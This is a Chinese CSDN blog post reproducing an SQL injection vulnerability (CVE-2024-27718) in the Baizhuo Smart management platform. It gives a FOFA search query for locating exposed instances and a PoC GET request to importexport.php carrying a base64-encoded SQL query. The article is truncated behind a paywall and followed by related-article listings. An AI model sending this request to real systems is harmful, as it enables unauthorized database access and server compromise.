百卓Smart管理平台 importexport.php SQL注入漏洞复现(CVE-2024-27718)

已于 2024-03-31 19:40:47 修改
阅读量430 收藏
点赞数
分类专栏： 漏洞复现 文章标签： 安全 web安全
于 2024-03-31 19:40:09 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/137207197
版权
本文介绍了百卓Smart管理平台importexport.php存在的SQL注入漏洞，详细阐述了漏洞概述、复现环境及步骤，以及针对该漏洞的修复建议。攻击者能够通过该漏洞获取数据库敏感信息并可能获取服务器系统权限。
摘要由CSDN通过智能技术生成

0x01 产品简介

百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品，是一家致力于构建下一代安全互联网的高科技企业。

0x02 漏洞概述

百卓Smart管理平台 importexport.php 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：title="Smart管理平台"

0x04 漏洞复现

PoC

GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,
了解本专栏 订阅专栏 解锁全文 超级会员免费看
0xSecl
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
百绰s200管理平台SQL注入（CVE-2024-27718）
weixin_43567873的博客
03-27 135
百绰s200管理平台SQL注入（CVE-2024-27718）
[复现]百卓智能Smart__sql注入_CVE-2023-4120漏洞复现
m0_64366018的博客
01-16 523
访问ip/app/haha123.php。Smart--管理平台。
网络安全：SQL 注入漏洞_cve-2021-1636
heike_Ch的博客
04-22 384
网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。
百卓Smart管理平台 uploadfile.php 文件上传漏洞【CVE-2024-0939】
holyxp的博客
02-07 1279
百卓 Smart只管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品，是一家致力于构建下一代安全互联网的高科技企业。百卓Smart管理平台 uploadfle.php 接口存在任意文件上传漏洞。未经身份验证的攻击者可以利用此漏洞上传恶意后门文件，执行任意指令，从而获得服务器权限并操纵服务器文件。
红队系列-网络安全知识锦囊(持续更新)
aming小老弟
11-09 698
AJP13是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。AJP协议：WEB服务器通过TCP连接和SERVLET容器连接。为了减少进程生成socket的花费，WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接，对多个请求/回复循环重用一个连接。一旦连接分配给一个特定的请求，在请求处理循环结束之前不会在分配。换句话说，在连接上，请求不是多元的。这个是连接两端的编码变得容易，虽然这导致在一时刻会有很多连接。
Notes Twenty one days-渗透攻击-红队-权限提升
qq_34801745的博客
10-07 1万+
** Notes Twentieth Day-渗透攻击-红队-权限提升(dayu) ** 作者：大余 时间：2020-10-5 请注意：对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。 我必须再重申一遍：务必不要做未授权测试！不要未经授权在真实网络环境中复现任何本书中描述的攻击。即使是出于好奇而不是恶意，你仍然会因未授权测试行为而陷入很多麻烦。为了个人能更
内网渗透系列：横向渗透方法小结
闵行小鱼塘
08-04 4274
本文学习并小结下横向渗透的方法
Metasploit渗透测试框架基础
hanjinming110的博客
03-02 2200
MSF渗透测试框架基础
深入探讨安全验证：OAuth2.0、Cookie与Session、JWT令牌、SSO与开放授权平台设计
最新发布
努力的小雨，一个阳光向上的博客不仅仅给你知识更希望带给你快乐
08-09 857
CSRF（Cross-Site Request Forgery）攻击是一种利用受害者在已经认证的状态下执行非意愿操作的攻击方式。攻击者通过诱使受害者访问恶意网站或点击恶意链接，来执行未经授权的操作，例如修改密码、进行转账等，简单来说就是，由于cookie是在浏览器共享的，所以一旦设置了cookie，那么当你打开另一个tab页的时候，也会携带过去，那么其他站点就可以使用cookie进行攻击，具体如下：比如：当你在浏览器中打开银行A的网页并成功登录后，你想要进行转账操作。
Linux安全与高级应用（四）深入探索MySQL数据库：安装、管理与安全实践
洛秋的博客
08-07 1404
Linux：作为操作系统，提供稳定的运行环境。Apache：作为Web服务器，处理HTTP请求。MySQL：作为数据库管理系统，存储和管理数据。：作为脚本语言，生成动态网页。LAMP平台的优势在于其成本低廉、可定制性强、易于开发、方便易用且安全稳定。这使得LAMP成为许多企业和开发者的首选平台。通过以上步骤，我们完成了LAMP平台的部署及其主要组件的配置和测试。LAMP平台的搭建不仅为Web开发提供了一个强大的环境，同时也展现了其在成本和效率上的优势。
兼顾智能安全，医疗电子与AI如何打通？
bigbit_LiLi的博客
08-07 884
虽然目前光子计数技术仍在开发的过程中，但我们有理由相信，在不久后的将来，随着技术的进一步发展和应用拓展，光子计数有望在全球范围内得到更广泛的应用，为人类健康事业的发展做出更大的贡献。安森美耕耘医疗行业已经有三十多年的历史，例如在专业助听器的产品化落地中，安森美解决方案集成了多核处理器、先进的音频处理算法、低功耗蓝牙模块和丰富外围接口的系列核心产品，能够实现卓越的音质、长电池寿命和无线连接功能，帮助助听器制造商打造出高质量、智能化的助听器产品，显著提升用户的听觉体验。未来，医疗电子控制器肯定会国产化。
如何确保场外个股期权交易的安全？
Lunasi的博客
08-07 191
只选择那些拥有合法金融牌照、受到监管机构严格监督的平台进行交易，确保在中国交易时，平台已获得证监会或相关金融监管机构的批准。：深入学习期权的基础知识，包括不同类型的期权、它们的权利和义务、定价方式以及风险特性，从而提升自我保护的能力。：在交易前，深入分析市场趋势和相关股票的基本面，评估潜在风险，并制定相应的风险管理策略。通过这些措施，投资者可以在场外个股期权交易中提高交易的安全性，有效降低不必要的风险。：选择流动性好的期权进行交易，以便在需要时能快速买卖，减少因流动性不足带来的风险。
自学黑客（网络安全）
热门推荐
2301_77160226的博客
08-05 1万+
想自学网络安全（黑客技术）首先你得了解什么是网络安全！什么是黑客！网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如 Web 安全技术，既有 Web 渗透，也有 Web 防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。
数据跨境传输的安全合规风险如何规避？获取免费解决方案白皮书
文件数据安全交换
08-07 317
在全球化的背景下，企业进行有 效的资源整合，学习海外市场的先进技术和管理经验，寻找新的增长点，实现业务的多元化和 可持续发展，不仅有利于开辟新市场，更有助于巩固和增强企业在全球中的地位。应用风险：跨境数据的承载介质多样、呈现形态各异、应用广泛，数据所在国的政策和法律存 在差异，这可能导致数据所有和使用者权限模糊，数据应用开发存在被滥用的风险。自然灾害（如火灾、水灾、地震等）和事故（如电力故障、设备故障等）可能导致数据的物理 损失，使数据的完整性和可用性遭到破坏，数据失去使用价值。2、数据攻击窃取风险。
Linux系统下的容器安全：原理、风险与防范措施
ddcajdkdl的博客
08-07 417
Linux命名空间为容器提供了独立的视图，包括PID、网络、UTS、IPC和mount命名空间，确保容器内的进程、网络配置、主机名、Inter-Process Communication和文件系统与宿主机隔离。Linux系统下的容器安全是一个至关重要的议题，涉及到容器的隔离性、网络访问控制、镜像安全、以及运行时保护等多个方面。通过cgroups，可以限制、记录和隔离容器使用的物理资源，如CPU、内存、I/O等，防止容器资源滥用影响宿主机或其它容器的稳定性。
【Linux 从基础到进阶】SELinux 与 AppArmor 安全模块配置
weixin_39372311的博客
08-07 852
SELinux（Security-Enhanced Linux）是由美国国家安全局（NSA）开发的安全模块，通过强制访问控制策略来保护系统。它基于安全策略的定义，限制进程对系统资源的访问。AppArmor（Application Armor）是一个安全模块，通过定义应用程序的安全策略来限制其行为。它使用配置文件（profile）来描述进程对文件、网络和其他资源的访问权限。通过本文的介绍，您已经了解了 SELinux 和 AppArmor 的基本概念、安装和配置方法。
AI大模型赋能开发者|海云安创始人谢朝海受邀在ISC.AI 2024大会就“大模型在软件开发&安全领域的应用”主题发表演讲
haiyunan的博客
08-07 280
此次会议，海云安在大会现场设置专属F003展位，海云安携自主研发国内首创的开发者安全智能助手产品亮相现场，通过产品界面展示、视频播放、现场讲解等多种声光电相结合的方式，全方位、多角度、立体化展现海云安深耕开发安全领域多年的丰硕成果。作为全球规格最高、规模最大、影响力最深远的安全峰会之一，本次大会以“打造安全大模型 引领安全行业革命”为主题，聚焦安全与AI两大领域，吸引了众多行业领袖、专家学者进行深度参与，共同探讨AI大模型安全应用等前沿话题。安全领域中以较低成本高效运用AI大模型。
加密软件有哪些常见的安全特性
shunyou0526的博客
08-07 268
核心功能：加密软件的核心在于对数据进行加密处理，通过复杂的加密算法（如AES、RSA等）将明文数据转换为密文，确保数据在存储和传输过程中的安全性。透明加密：部分加密软件支持透明加密功能，即用户在保存文件时数据会自动加密，打开文件时自动解密，无需用户手动操作，提高了使用的便捷性。灵活配置：加密软件通常提供多种加密模式供用户选择，如透明加密、智能加密、只解密不加密等，以满足不同场景下的加密需求。身份认证：在访问加密数据前，用户需要进行身份认证，如输入密码、使用生物识别技术等，以验证用户的身份和权限。
Apache Spark 命令注入漏洞（CVE-2022-33891）修复与利用
Apache Spark 命令注入漏洞（CVE-2022-33891） Apache Spark 命令注入漏洞（CVE-2022-33891）是 Apache Spark 中的一种高危漏洞，允许攻击者通过命令注入来执行恶意命令，从而控制服务器。该漏洞影响 Apache Spark ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值